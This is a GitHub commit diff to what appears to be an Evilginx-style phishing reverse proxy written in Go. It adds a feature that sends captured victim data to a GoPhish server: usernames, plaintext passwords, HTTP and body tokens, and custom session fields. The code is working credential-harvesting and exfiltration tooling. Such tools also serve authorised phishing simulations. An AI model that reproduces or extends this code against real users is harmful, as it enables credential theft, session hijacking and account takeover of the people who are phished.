Skip to content

Commit

Permalink
Add a feature to send caputed data to gophish.
Browse files Browse the repository at this point in the history
  • Loading branch information
nairpaa committed Jun 11, 2024
1 parent 3734525 commit ea35292
Show file tree
Hide file tree
Showing 2 changed files with 25 additions and 7 deletions.
28 changes: 23 additions & 5 deletions core/gophish.go
Original file line number Diff line number Diff line change
Expand Up @@ -16,8 +16,9 @@ type GoPhish struct {
}

type ResultRequest struct {
Address string `json:"address"`
UserAgent string `json:"user-agent"`
Address string `json:"address"`
UserAgent string `json:"user-agent"`
Data map[string]interface{} `json:"data"`
}

func NewGoPhish() *GoPhish {
Expand Down Expand Up @@ -93,15 +94,32 @@ func (o *GoPhish) ReportEmailLinkClicked(rid string, address string, userAgent s
return o.apiRequest(reqUrl.String(), content)
}

func (o *GoPhish) ReportCredentialsSubmitted(rid string, address string, userAgent string) error {
func (o *GoPhish) ReportCredentialsSubmitted(rid string, session *Session) error {
err := o.validateSetup()
if err != nil {
return err
}

// Collect dynamic data from the session
data := make(map[string]interface{})
for k, v := range session.Custom {
data[k] = v
}
for k, v := range session.BodyTokens {
data[k] = v
}
for k, v := range session.HttpTokens {
data[k] = v
}

// Add username and password to the data
data["username"] = session.Username
data["password"] = session.Password

req := ResultRequest{
Address: address,
UserAgent: userAgent,
Address: session.RemoteAddr,
UserAgent: session.UserAgent,
Data: data,
}

content, err := json.Marshal(req)
Expand Down
4 changes: 2 additions & 2 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -1066,7 +1066,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
rid, ok := s.Params["rid"]
if ok && rid != "" {
p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
err = p.gophish.ReportCredentialsSubmitted(rid, s)
if err != nil {
log.Error("gophish: %s", err)
}
Expand Down Expand Up @@ -1206,7 +1206,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
rid, ok := s.Params["rid"]
if ok && rid != "" {
p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
err = p.gophish.ReportCredentialsSubmitted(rid, s)
if err != nil {
log.Error("gophish: %s", err)
}
Expand Down

0 comments on commit ea35292

Please sign in to comment.